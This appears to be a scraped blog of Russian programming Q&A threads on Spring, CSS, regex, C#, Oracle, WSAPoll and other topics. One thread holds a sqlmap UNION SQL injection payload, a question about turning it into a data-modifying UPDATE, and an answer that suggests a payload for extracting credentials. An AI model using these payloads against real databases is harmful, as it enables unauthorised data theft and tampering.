Страницы

Поиск по вопросам

суббота, 29 февраля 2020 г.

Нужно ли в REST API выносить названия методов в отдельный файл с настройками?

#java #spring #rest


Пишу rest api на spring. Контроллеры оборачиваю в @RequestMapping, а имена методов
захардкодены. Например @RequestMapping("register"). Стоит ли их выносить в *.properties
файл или есть более "спринговый" способ? Понимаю, что вопрос может показаться довольно
глупым, просто хочу услышать мнение посторонних.
    


Ответы

Ответ 1



Можно создать такой класс: public final class BaseApi { public static final String REGISTER = "/register"; public static final String LOGIN = "/login"; public static final String LOGOUT = "/logout"; private BaseApi() { //prevents instantiation } } И потом при создании контроллера использовать статические импорты. Это нужно для того, чтобы ваши тесты и контроллеры использовали одинаковые константы. Если вы их захардкодите, то при изменении урл, вам понадобится менять и во всех остальных классах, а с таким подходом - только в одном классе.

пятница, 28 февраля 2020 г.

Как повернуть два треугольника, чтобы их вершины лежали максимально близко?

#математика #геометрия


Допустим имеется два разных треугольника с общим центром и имеется задача повернуть
один треугольник так, что бы его вершины лежали максимально близко к вершинам другого
треугольника.

У меня есть идея только того, что чтобы найти новые координаты фигуры, нужно минимизировать
расстояния между вершинами первого треугольника и второго (т.е. взять производную и
приравнять нулю), однако как действовать дальше не знаю ..
    


Ответы

Ответ 1



Будем пользоваться полярными координатами. Зададим 2 треугольника парами значений в полярных координатах: Угол поворота второго треугольника относительно первого: Так как у вас нет четкого условия про минимальное расстояние, возьмем сумму квадратов расстояний (визуально это должен быть наилучший вариант). Используя формулу для расстояния между 2 точками на полярных координатах получаем такие квадраты расстояний: Мы должны найти минимум функции сумм этих 3 величин. В нас здесь много констант, что бы упростить формулу, положим: И тогда наша сумма квадратов расстояний примет вид: Возьмем производную, что бы найти экстремумы функции: Если расписать синус разницы, то получим: Положим: И получим: Такое уравнение легко решить, если взять такой угол , что: Тогда уравнение примет вид: Такое легко решить. Дальше нужно повторить все это, смещая точки второго треугольника: сначала сместить на 1 (первая точка станет второй, вторая третьей и т. д.), потом на 2.

Как сделать скошенный угол у прямоугольника?

#html #css #css3 #svg #clip_path


Необходимо карточке, с border'ом и фоном (всё на css), сделать срез у верхнего левого
угла и, чтобы у него был такой же border. Пробовал clip-path. Возможно нужно использовать
псевдоэлемент или SVG?



.Card {
    margin: 23px 0 0 80px;
    width: 320px;
    height: 480px;
    border: 4px solid #2ea8e6;
    border-radius: 10px;
    background-color: #f2f2f2; 
    overflow: hidden;
    float: left;
    position: relative;
    clip-path: polygon(15% 0, 100% 0, 100% 0, 100% 100%, 100% 100%, 0 100%, 0 100%,
0 10%);
}

    


Ответы

Ответ 1



Решение через CSS3: Это можно сделать при помощи CSS3 clip-path, но согласно документации в Safari (WebKit), в Edge и в Internet Explorer это в данное время работать не будет. Для того чтобы это сделать нам понадобится 2 прямоугольника (div), которые лежат один в другом. Внутренний прямоугольник расположен с помощью position: absolute сверху, а внешний выступает в качестве обводки (border), т.к. на 4px (x2) больше внутреннего. Оба они обрезаются с помощью CSS3 clip-path. Подробнее о свойстве clip-path читайте тут. .card-border { margin:14px; position: relative; width: 328px; height: 488px; background-color: #2ea8e6; border-radius: 14px; clip-path: polygon(15% 0, 100% 0, 100% 100%, 0 100%, 0 10%); } .card { position: absolute; top: 4px; /* соответствует ширине border */ left: 4px; /* соответствует ширине border */ width: 320px; /* container width - (ширина border * 2) */ height: 480px; /* container height - (ширина border * 2) */ background-color: #f2f2f2; border-radius: 11px; clip-path: polygon(14.7% 0, 100% 0, 100% 100%, 0 100%, 0 9.7%); }
Обратите внимание на то, что значения у внутреннего clip-path: polygon должны быть немного меньше. Решение через SVG: Другое решение с помощью SVG clip-path более предпочтительнее, т. к. работает в большинстве современных обозревателях сети. Вы можете SVG файл применить в качестве background для div, в котором будут ваши данные.

Sql injection Update query как изменить данные

#php #mysql #sql


Имеется запрос который вытаскивает данные пользователя с БД.
Сам запрос (SQLMAP): 

blabla' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT
CONCAT(0x71786a6b71,IFNULL(CAST(bank AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(zip AS CHAR),0x20),0x71626a7671) FROM base.table
LIMIT 12,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#


Вывожу какой вид имеет полный SQL запрос:

SELECT * FROM `table` WHERE (SUBSTRING(row,1,6)) = 'blabla' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT
CONCAT(0x71786a6b71,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS
CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x71626a7671) FROM base.table
LIMIT 12,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#' LIMIT 100


Требуется написать подобный запрос для изменения данных в БД. 
Пример: 

Update table SET row="";


И вывожу SQL запрос без Injection

SELECT * FROM `blabla` WHERE (SUBSTRING(row,1,6)) = ''(Код injection)# LIMIT 100


Каким образом можно изменить данные в этом случае, вообще это возможно или нет, так
как я пытался по разному изменять запрос но в ответ все время получал ошибку синтаксиса
либо другие ошибки. 
    


Ответы

Ответ 1



Для начала разберем, что происходит при выполнении данного кода. Первая часть запроса (до union) выбирает некие данные на сайте/веб-приложении и, по всей видимости, выводит их на экран. Судя по второй части приведенного SQL-запроса (сама инъекция), данные первого запроса, отображаемые на странице, находятся в поле под номеров 18 - на это указывает конкатенация в скули из таблицы table - некие данные из 13 (limit 12, 1) строки этой таблицы лепятся в одну строку и выводятся на экран как раз в позиции под номером 18. Перейдем к оператору union. Данный оператор используется для объединения результатов работы нескольких команд select (выборки данных) в один набор результатов. Обязательное условие для его выполнения - совпадение количества столбцов в каждом select, примерно так: select 1, 2, 3 from base.table union select null, null, null from base.table Отсюда такое нелепое количество столбцов в скули - нулами "добиваются" столбцы, чтобы select сработал. Теперь непосредственно к проблеме - каким же образом можно изменить данные и можно ли вообще. Насколько я знаю, MySQL не позволяет производить update данных в подзапросах, следовательно, через приведенную скуль изменить данные в базе не представляется возможным. Второй момент - наличие возможности запросить произвольные данные через скуль не дает никаких гарантий того, что злоумышленник имеет права на запись в БД. Как правило, столь серьезные дыры в безопасности встречаются весьма редко. Тут очень велика вероятность, что сама по себе команда на запись/обновление в базе не осуществима, даже при условии, что найдется такой заковыристый синтаксис, в который можно будет вкорячить это самое обновление. Помимо оператора union можно попробовать вариант через or: select * from table where (substring(row, 1, 6)) = 'blabla' or update base.table set row = "" where ...; Вместо ... необходимо указать условия, если не хотите изменить все строки в таблице. Данный вариант едва ли принесет какой-либо результат - см. пункт 2. Как уже указали выше, можно попробовать воткнуть где-нибудь (либо после скули полностью, либо после рабочего запроса) символ ;, однако, это вряд ли поможет - символ просто отделяет один запрос от другого. Скорее всего, выполнение двух последовательных запросов в данном случае приведет к ошибке. Ну, и самый, как по мне, логичный вариант - а зачем вообще производить update, если только это не тестовое задание, целью которого является именно обновление строки в таблице? Имея на руках скуль через union и поле для вывода данных на экран всегда можно попытаться выудить нужную инфу из БД, включая данные пользователей с высокими привилегиями, чем-то вроде такого: select * from `table` where (substring(row, 1, 6)) = 'blabla' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,(select user, password from information_schema.users limit 12, 1),18,19,20,21,22,23,24,25,26#' LIMIT 100 Естественно, поля, названия таблиц и схема могут отличаться.

Регулярное выражение математического выражения

#регулярные_выражения


Как проверить при помощи регулярок, правильность ввода математического выражения?
Все не как не могу додумать, математическое выражение может включать в себя следующий
набор символов =+-*/()[a-z].
То есть это список корректных выражений:

x=x+1
(x+1)=sav*10/(2+1)
a+b=c
(r+w)/2
a=3+5/(3*10(-10/4))
+a--3+50


А это список некорректных:

=2+r
((d+f)
*e=f
g=/3
3=4//5
x=5/
df=


Т.е. по идее нужно рекурсивно раскрыть скобки, и проверить последовательность определенных
символов.
    


Ответы

Ответ 1



Окей, вопрос решился, оставлю регулярку для потомков: ( ( ( (?<=^|\(|\=|\+|\-|\*|\/) ([a-zA-Z][a-zA-Z\d]*) (?=$|\)|\=|\+|\-|\*|\/) ) | ( (?<=^|\(|\=|\+|\-|\*|\/) (\d+) (?=$|\)|\+|\-|\*|\/) ) | ( (?<=[a-zA-Z\d]) (\=) (?=[a-zA-Z\d]|\(|\+|\-) ) | ( (?<=^|[a-zA-Z\d]|\=|\(|\)) (\+|\-) (?=[a-zA-Z\d]|\() ) | ( (?<=[a-zA-Z\d]|\)) (\*|\/) (?=[a-zA-Z\d]|\() ) | (? (?<=^|\=|\(|\+|\-|\*|\/) (\() (?=[a-zA-Z\d]|\(|\+|\-) ) | (?<-level> (?<=[a-zA-Z\d]|\)) (\)) (?=$|\)|\+|\-|\*|\/) ) )+ (?(level)(?!)) )$

C# делегаты и анонимные функции

#c_sharp #делегаты #анонимная_функция


Имеется следующий блок кода : 

delegate int StrMod(int a);
static void main()
{
StrMod strmod = delegate{return 10;};
Console.WriteLine(strmod(5));
}


Консоль:


  10


Почему на 4 строку компилятор не ругается? Ведь входные параметры анонимной функции
не соответствуют параметрам делегата.
    


Ответы

Ответ 1



Вы здесь объявляете делегат с помощью анонимного метода. StrMod strmod = delegate{return 10;}; Согласно документации об анонимных методах, у анонимного метода допускается опускать список параметров, если они вам не нужны внутри метода(в отличии от лямбд выражений, где список параметров нужно указывать всегда явно). В этом случае, анонимный метод может быть преобразован к делегату с различной сигнатурой. Anonymous methods enable you to omit the parameter list. This means that an anonymous method can be converted to delegates with a variety of signatures. Поэтому этот код компилируется успешно.

Не устанавливаются драйверы nvidia ubuntu 18.04

#ubuntu #nvidia


почему то не могу поставить драйвер, выдаёт не понятную ошибку


  dpkg-divert: ошибка: несовпадение с пакетом   при удалении «отклонение
  /usr/lib/x86_64-linux-gnu/libGL.so.1 из-за libnvidia-gl-396»   найдено
  «отклонение /usr/lib/x86_64-linux-gnu/libGL.so.1 в
  /usr/lib/x86_64-linux-gnu/libGL.so.1.distrib из-за nvidia-340» dpkg:
  ошибка при обработке архива
  /tmp/apt-dpkg-install-KH1cx9/11-libnvidia-gl-396_396.24.02-0ubuntu0~gpu18.04.1_amd64.deb
  (--unpack):  new libnvidia-gl-396:amd64 package pre-installation
  script subprocess returned error exit status 2

    


Ответы

Ответ 1



Нашёл решение: Посмотреть все зависимости nvidia-340 dpkg-divert --list | grep nvidia-340 Затем для каждой из них выполнить dpkg-divert --remove /your/path /your/path - путь, на который ругается /usr/lib/x86_64-linux-gnu/libGL.so.1 apt --fix-broken install apt update apt upgrade ubuntu-drivers devices ubuntu-drivers autoinstall Затем перезагрузите систему.

Что за тип у переменной?

#c


Есть переменная a

struct {
    short kto;
    int prichital;
    char tot;
} (*(*(*a)))()()();


Какой размер у переменной и как его расшифровать?
    


Ответы

Ответ 1



Согласно правилу часовой стрелки, а так же сайту cdecl.org, переменная a является: указателем на указатель на указатель на функцию, возвращающую функцию, возвращающую функцию, возвращающую упомянутую безымянную структуру. Т.к. в Си запрещено возвращать из функции функцию (а не указатель на неё), то данный код не является валидным. error: 'a' declared as function returning a function Чтобы он стал валидным, нужно возвращать указатель на функцию, получится так: struct { ... } (*(*(*a)())())(); При этом безымянность структуры накладывает свои ограничения. Указатель объявили, но инициализировать чем-то полезным, чтобы иметь возможность вызвать - проблематично. Говорить же о размере некоторой сущности, не являющейся валидной с точки зрения языка нельзя вовсе. Ну а после приведения к компилируемому виду можно воспользоваться sizeof.

Запуск Java-программы без javac (JDK 11)

#java #javac


Имеется: 

JDK 11 и примитивная программа: 

public class HelloWorld {

   public static void main(String[] args) {
        System.out.println("Hello, World");
   }

}


и применённая к ней команда chmod +x HelloWorld

Необходимо: запустить программу командой ./HelloWorld для печати в терминале:

Hello, World


минуя javac
    


Ответы

Ответ 1



Решение. Шаг 1: Создаём файл nano HelloWorld Шаг 2: #! /usr/local/java/jdk-11-ea18/bin/java --source 11 public class HelloWorld { public static void main(String[] args) { System.out.println("Hello, World"); } } Шаг 3: ctrl+o, ctrl+x Шаг 4: chmod +x HelloWorld Шаг 5: ./HelloWorld Видим, что программа отработала, и напечатала Hello, World

Отступ между иконкой и текстом в EditText

#android #android_edittext #android_xml


Всем привет. 
Пишу приложение и появилась такая проблема. В EditText нужно поместить иконку и следом
пользователь будет вводить текст.
Вопрос: как сделать отступ между картинкой и текстом?


Вот код EditText:




Буду рад любым подсказкам! Спасибо:) 
    


Ответы

Ответ 1



Добавьте свойство android:drawablePadding

Шрифт в TextView Android

#android #шрифты #android_textview


Создаю динамически элемент TextView. Нужно установить шрифт, который использует остальная
часть программы. При вызове этого кода приложение падает.     

            TextView textDis = new TextView(this.getContext());
            textDis.setPadding(16, 16, 16, 16);
            textDis.setTextColor(getResources().getColor(R.color.colorBlack));
            textDis.setTextSize(18);
            //Ошибочный код ниже:
            textDis.setTypeface(getResources().getFont(R.font.fira_sans), Typeface.BOLD);


Спасибо за помощь!
    


Ответы

Ответ 1



Для шрифтов рекомендую использовать папку assets и устанавливать вот так: textDis.setTypeface(Typeface.createFromAsset(getAssets(), "my_font_bold.ttf"); Кроме того, чтобы избежать лагов (а если у вас много текстов со своим шрифтом они будут), рекомендую шрифт кэшировать, например так: public class TypeFaces { //---Кэширование шрифта--- private static final Hashtable cache = new Hashtable(); public static Typeface get(Context c, int type) { String name; if (type == 1) name = "my_font.ttf"; else name = "my_font_bold.ttf"; synchronized (cache) { if (!cache.containsKey(name)) { String path = name; try { Typeface t = Typeface.createFromAsset(c.getAssets(), path); cache.put(name, t); } catch (Exception e) { e.printStackTrace(); } } return cache.get(name); } } } И использовать так: textDis.setTypeface(TypeFaces.get(this, 2)); Если у вас много текстов, самым лучшим вариантом будет создать кастомный TextView, где в init() шрифт будет будет выставляться автоматически. Либо можно воспользоваться методом из support библиотеки: textDis.setTypeface(ResourcesCompat.getFont(context, R.font.my_font));

Проблемы с SVG Android - изображение имеет дефекты или вообще отсутствует. Android Studio

#android #android_studio #svg #vector_drawable


Проблема: после обработки SVG в VectorDrawable средствами Android Studio изображение
имеет дефекты или вообще отсутствует. 


    


Ответы

Ответ 1



Открываем SVG изображение в Adobe Illustrator; Выбираем "Сохранить как". В параметрах SVG: Профиль: SVG 1.0, Шрифты: Тип: SVG, Сокращение знакового состава: Все глифы. Сохраняем SVG. Импортируем SVG привычным способом в Android Studio. Этот способ самый эффективный, особенно, если есть текст. Но если нет Adobe Illustrator, тогда можно попробовать способы ниже. Но это трата времени (сам когда-то так мучался - лень было поставить AI). Можно ещё переобразовать текст в кривые. Если ошибка парсинга svg - нужно поменять: на ̶И̶л̶и̶ ̶э̶т̶о̶т̶ ̶с̶е̶р̶в̶и̶с̶. ̶Б̶ы̶в̶а̶л̶о̶ ̶ч̶т̶о̶ ̶п̶о̶с̶л̶е̶ ̶о̶б̶р̶а̶б̶о̶т̶к̶и̶ ̶о̶с̶т̶а̶в̶а̶л̶и̶с̶ь̶ ̶п̶р̶о̶б̶л̶е̶м̶ы̶, ̶н̶о̶ ̶я̶ ̶п̶р̶о̶с̶т̶о̶ ̶п̶р̶о̶г̶о̶н̶я̶л̶ ̶S̶V̶G̶ ̶в̶ ̶в̶е̶к̶т̶о̶р̶н̶о̶м̶ ̶р̶е̶д̶а̶к̶т̶о̶р̶е̶ ̶и̶ ̶о̶п̶я̶т̶ь̶ ̶и̶с̶п̶о̶л̶ь̶з̶о̶в̶а̶л̶ ̶э̶т̶о̶.

как сделать закругленную снизу фигуру на css радиус был как здесь?

#css




Голубую фигуру надо закруглить,вот так не совсем точно выходит по середине не хватает
выпуклости  

border-bottom-left-radius: 100% 40px;
border-bottom-right-radius: 100% 40px;

    


Ответы

Ответ 1



Чуть чуть геморойно но зато без SVG за помощь в создании радиального градиента спасибо @Artur * { margin: 0; padding: 0; } .item { width: 300px; margin: auto; min-height: 500px; background: #fcfcfc; } .item__top { width: 100%; min-height: 150px; background-color: red; background-image: radial-gradient(ellipse, red 69%, #fff 70%); background-size: 260% 240px; background-position: -275% -330px; text-align: center; } .item__top h2 { padding: 10px 0; font-weight: 900; font-family: Helvetica; color: white; } .item__top p { width: 90%; font-size: 20px; margin: auto; color: #fff; }

Заполните форму

и получите прайс-лист с актуальными расчетами оккумаемости



Ответ 2



я бы делал это через svg фигуру - тогда и адаптивность будет .wrap { height: 500px; width:500px; margin: 0 auto; } .header { height: 100px; background-color: #3f59fa; position: relative; } .header__bottom { position: absolute; top: 100%; }
либо код svg использовать как отдельное изображение и поместить его в верстку через псевдоэлемент (::after), тогда html будет выглядеть чище пример на CodePen

Как подключиться к github из visual studio?

#visual_studio #git #github


В Visual Studio уже встроен Git.
Везде пишут только как скачать уже имеющийся удалённый репозиторий с git hub'а, но
нигде, как подключиться к гитхаб аккаунту из visual studio
Итак, у меня есть аккаунт на guthub, я создал приложение на локальном компе. Как
мне через visual studio без доп плагинов подключиться к своему аккаунту, создать новый
репозиторий и запушить папку с проектом в него?
    


Ответы

Ответ 1



Открыть Team Explorer (View - Team Explorer), затем кликните по иконке штепселя (Manage Connection): Более подробное описание в документации PS Ещё в меню View - Other Windows есть пункт Github, но я им не пользовался, так как гитхабом не пользуюсь так как мне приходится чаще с tfs работать.

Ответ 2



Для GitLab и Githab, как подключиться из VS к удаленному аккаунту и добавить локальный проект в новый пустой репозиторий. 1) Сначала на gitlab.com создаем новый проект с названием, соответствующим локальному проекту. На Github так же, только Репозиторий. 2) В Visual Studio в проекте нажимаем внизу окна кнопку «Добавить в систему управления версиями»=> git. 3) В разделе "Отправить в удаленный репозиторий" вводим URL-адрес созданного на сайте репозитория проекта, нажимаем Опубликовать. Проект должен загрузиться на сайт.

Групповые селекторы с атрибутами в jQuery

#jquery


Как обратиться к группе элементов в jQuery в рамках одной функции?
Например к ссылке:

a[href^="page-1.html#"]


Вот этот синтаксис не работает у меня:

$('a[href^="page-1.html#"]', 'a[href^="page-2.html#"]').click(function(e) {
  e.preventDefault();
});

    


Ответы

Ответ 1



У вас запятая между кавычками, а нужно внутри. $('a[href^="page-1.html#"], a[href^="page-2.html#"]').click(function() { alert('Нажал'); }); Ссылка 1 Ссылка 2

Сортировка потока в обратном направлении

#java #сортировка #lambda #java_stream


На вход подается текстовая строка. Нужно вернуть слово с наибольшей сумой значений
кодов символов. Сортировку нужно выполнить в обратном направлении. Использую метод
reversed(), но тогда не могу использовать метод chars(), так как w типа Object. Как
правильно осуществить сортировку в обратном порядке?  

public static String high(String s) {

        return Stream.of(s.split(" "))
                .sorted(Comparator.comparingInt(w -> w.chars().sum()).reversed())
                .toArray(String[]::new)[0];

}

    


Ответы

Ответ 1



Попробуйте так: public static String high(String s) { return Stream.of(s.split(" ")) .sorted(Comparator.comparing(String::chars, Comparator.comparingInt(IntStream::sum)).reversed()) .toArray(String[]::new)[0]; } Данный метод первым аргументом принимает key extractor, т.е. какие данные нам нужно вытащить для сортировки, а второй аргумент принимает то, КАК мы будем сортировать. Ну то есть все просто, вытащили IntStream чаров и отсортировали по их сумме

Ошибка после установки на Ubuntu ORA-27101: shared memory realm does not exist

#база_данных #ubuntu #oracle #установка #oracle11g


SQL*PLUS выдаёт ошибку:


  ERROR:
      ORA-01034: ORACLE not available
      ORA-27101: shared memory realm does not exist
      Linux-x86_64 Error: 2: No such file or directory
      Process ID: 0
      Session ID: 0 Serial number: 0  


При старте БД:

sudo service oracle-xe start
Starting Oracle Net Listener.
Starting Oracle Database 11g Express Edition instance.
Failed to start Oracle Net Listener using /u01/app/oracle/product/11.2.0/xe/bin/tnslsnr
and Oracle Express Database using /u01/app/oracle/product/11.2.0/xe/bin/sqlplus.


Ставила по этой инструкции.
Но пропустила шаг: 

sudo rm -rf /dev/shm
sudo mkdir /dev/shm 


потому, что при простой замене имени каталога /dev/shm у меня пропал интернет. Просто
так удалять системные файлы, боязно. Теперь не могу удалить /dev/shm, т.к. он занят.
    


Ответы

Ответ 1



Сообщение об ошибке: ORA-27101: shared memory realm does not exist означает, что процесс (обычно Listener, sqlplus) не может подсоединиться к System Global Area (SGA). В основном это вызывают две причины: SGA действительно не существует, так как инстанция БД не стартовала. Стартуйте инстанцию БД под пользователeм oracle: $ echo startup|sqlplus / as sysdba Shared memory segment Id для подключения к SGA генерируется из значений переменных окружения: $ORACLE_SID + $ORACLE_HOME. Если эти значения не соответствуют тем, которые были использованы при запуске инстанции БД, то будет выше указанная ошибка, так как такого сегмента не существует. Проверьте переменные окружения: env | egrep -i "oracle_(sid|home)" Значения $ORACLE_SID + $ORACLE_HOME, которые были использованы при установке хранятся в /etc/oratab и устанавливаются так: export ORACLE_SID=orcl; . oraenv Например, если попытаться установить вручную и при этом ошибиться: $ echo exit|sqlplus -l user/pass Connected to: Oracle Database 11g Release 11.2.0.1.0 - Production $ ORACLE_HOME=$ORACLE_HOME/; test -d $ORACLE_HOME && echo "directory exists" # ------^ directory exists Всё хорошо, директория существует и sqlplus из неё будет вызываться, но незначащий слэш даст при подсчёте shmid другое значение: $ echo exit|sqlplus -l user/pass ERROR: ORA-01034: ORACLE not available ORA-27101: shared memory realm does not exist Linux Error: 2: No such file or directory

Перезапись строки с помощью другой строки, используя цикл for: TypeError: 'str' object does not support item assignment

#python #циклы #for


Необходимо перезаписать строку используя ключ. В одном из вопросов находил решение
по перезаписи необходимой строки, однако и такой метод выдает ошибку. 

Как я мог бы, используя Питон, перезаписать строку 'splaintext' с помощью 'key'? 


key является аргументом командной строки - argv[1] (строка) 
splaintext - строка, вводимая пользователем


В итоге, если:

splaintext` = 'hello'
key = 'abc'


результатом будет: 'abcab'

Код:

for i in range(len(splaintext)):
    for j in range(len(key)):
        if i == len(splaintext):
            break
        else:
            while True:
                symbol = key[j]
                splaintext[i] =  splaintext[:i] + symbol + splaintext[i+1:]
                i = i + 1
                j = j + 1
                if j == len(key):
                    j = 0
                elif i == len(splaintext):
                    break


Ошибка:

splaintext[i] = splaintext[:i] + symbol + splaintext[i+1:]



  TypeError: 'str' object does not support item assignment

    


Ответы

Ответ 1



Воспользуйтесь itertools.cycle(): from itertools import cycle cycle_gen = cycle(key) res = ''.join([next(cycle_gen) for _ in splaintext]) print(res) Вывод: abcab

Ошибка при вызове WSAPoll()

#cpp #c #winapi #клиент_сервер #winsock


Пишу простой UDP сервер под Windows, который принимает сообщения от клиентов. По
заданию сокеты должны работать в неблокирующем режиме и обязательно нужно использовать
WSAPoll для параллельного обслуживания клиентов. Написал небольшую обертку для сокета:

class _socket
{
private:
    SOCKET      sock;
    sockaddr_in addr;
public:
    _socket(int port);
    _socket(const _socket & other);
    ~_socket();

    SOCKET GetSocket();
    bool   Generate();
    bool   Bind();
};

_socket::~_socket() 
{
    if (sock != INVALID_SOCKET) 
    {
        closesocket(sock); 
    } 
}

_socket::_socket(int port) : sock(INVALID_SOCKET) 
{
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port); 
    addr.sin_addr.s_addr = htonl(INADDR_ANY);
}

_socket::_socket(const _socket & other)
{
    this->sock = other.sock;
    this->addr = other.addr;
}

SOCKET _socket::GetSocket()
{
     return (this->sock); 
}
bool _socket::Generate()
{
    sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0)
    {
        return false;
    }
    else
    {
        unsigned long mode = 1;
        return (ioctlsocket(sock, FIONBIO, &mode) != SOCKET_ERROR);
    }
}
bool _socket::Bind()
{
    return (bind(sock, (struct sockaddr*)&addr, sizeof(addr)) >= 0);
}


Вот так работаю с ним в main (через argv передаю диапазон портов):

int main(int argc, const char *argv[])
{
    std::vector<_socket>        sockets;
    std::map clients;

    if (argc < 3)
    {
        return ErrorPrint("Too low arguments");
    }
    if (!Init())
    {
        return ErrorPrint("Error starting WSA");
    }

    for (int i = atoi(argv[1]); i <= atoi(argv[2]); i++)
    {
        _socket s(i);
        if (!s.Generate())
        {
            return ErrorPrint("Cannot create socket");
        }
        if (!s.Bind())
        {
            return ErrorPrint("Cannot bind socket");
        }
        sockets.push_back(s);
    }

    WSAPOLLFD *pfd = (WSAPOLLFD*)malloc(sockets.size() * sizeof(WSAPOLLFD));

    for (int i = 0; i < sockets.size(); i++)
    {
        pfd[i].fd      = sockets[i].GetSocket();
        pfd[i].events  = POLLIN | POLLOUT;
        pfd[i].revents = 0;
    }

    while (true)
    {
        int ev_cnt = WSAPoll(pfd, sockets.size(), 1000);
        if (ev_cnt > 0)
        {
            for (int i = 0; i < sockets.size(); i++)
            {
                if (pfd[i].revents & POLLERR)
                {

                }
                if (pfd[i].revents & POLLIN)
                {

                }
                if (pfd[i].revents & POLLOUT)
                {

                }
            }
        }
        else if (ev_cnt == SOCKET_ERROR)
        {
            std::cout << "Error WSAPoll: " << WSAGetLastError() << std::endl; //
Постоянно попадаю сюда
        }
        else
        {
            std::cout << "waiting..." << std::endl;
        }
    }

    return (EXIT_SUCCESS);
}


При вызове WSAPoll постоянно получаю ошибку WSAENOTSOCK (10038), которая говорит
мне, что я пытаюсь выполнить операцию, предназначенную для сокета на чем-то, что им
не является. Прочитал спецификации к WSAPoll - вроде все делаю правильно, никак не
могу понять, что сделал не так.
    


Ответы

Ответ 1



У вас реализован конструктор копирования после выполнения которого в двух экземплярах класса будет хранится один и тот же дескриптор сокета. После разрушения одного из экземпляров второй останется с невалидным дескриптором. Следовало реализовать конструктор перемещения (и перемещающий оператор присваивания): _socket(const _socket & other) = delete; _socket(_socket && other) : sock{other.sock} , addr{other.addr} { other.sock = INVALID_SOCKET; ::std::memset(::std::addressof(other.addr), 0, sizeof(other.addr)); } Сокеты на самом деле можно дублировать используя WSADuplicateSocket, но обычно это не нужно.

Dart: const и final в чем разница?

#const #dart #final


В чем разница и сходство в Dart'е const и final

Объясните для "чайника" пожалуйста
    


Ответы

Ответ 1



При использовании final - значение может быть присвоено один раз, но любое. При использовании const - накладываются ограничения на присваиваемое значение, оно должно быть доступно в момент компиляции. Так же const уже является final, однако в отличие от final значение не может быть изменено никаким образом. На пример: final a = [1,2,3]; a.add(112); print (a); // [1, 2, 3, 112] const b = [1,2,3]; b.add(111); // Uncaught exception: Unsupported operation: add print (b);

Регулярное выражение количество просмотров

#python #регулярные_выражения


Помогите пожалуйста написать регулярное выражение на Python 3.6.Есть строки типа: 

4 дні тому849 478 переглядів
33 730 переглядів35 хвилин тому
16 037 172 перегляди2 дні тому
14 947 360 переглядів1 тиждень тому
1 тиждень тому1 515 110 переглядів


(Порядок может быть именно такой, а вот количество просмотров может меняться)

Я пытался использовать нахождение просмотров по регулярному выражению которое находит
числа(и то не все), но так оно собирает только первые числа.

import re 

match = re.search('[0-9]+','16 037 172 перегляди2 дні тому') 


Как можно эту регулярку дополнить,что бы она собирала количество просмотров?

Пример выхода во втором примере: 33730
    


Ответы

Ответ 1



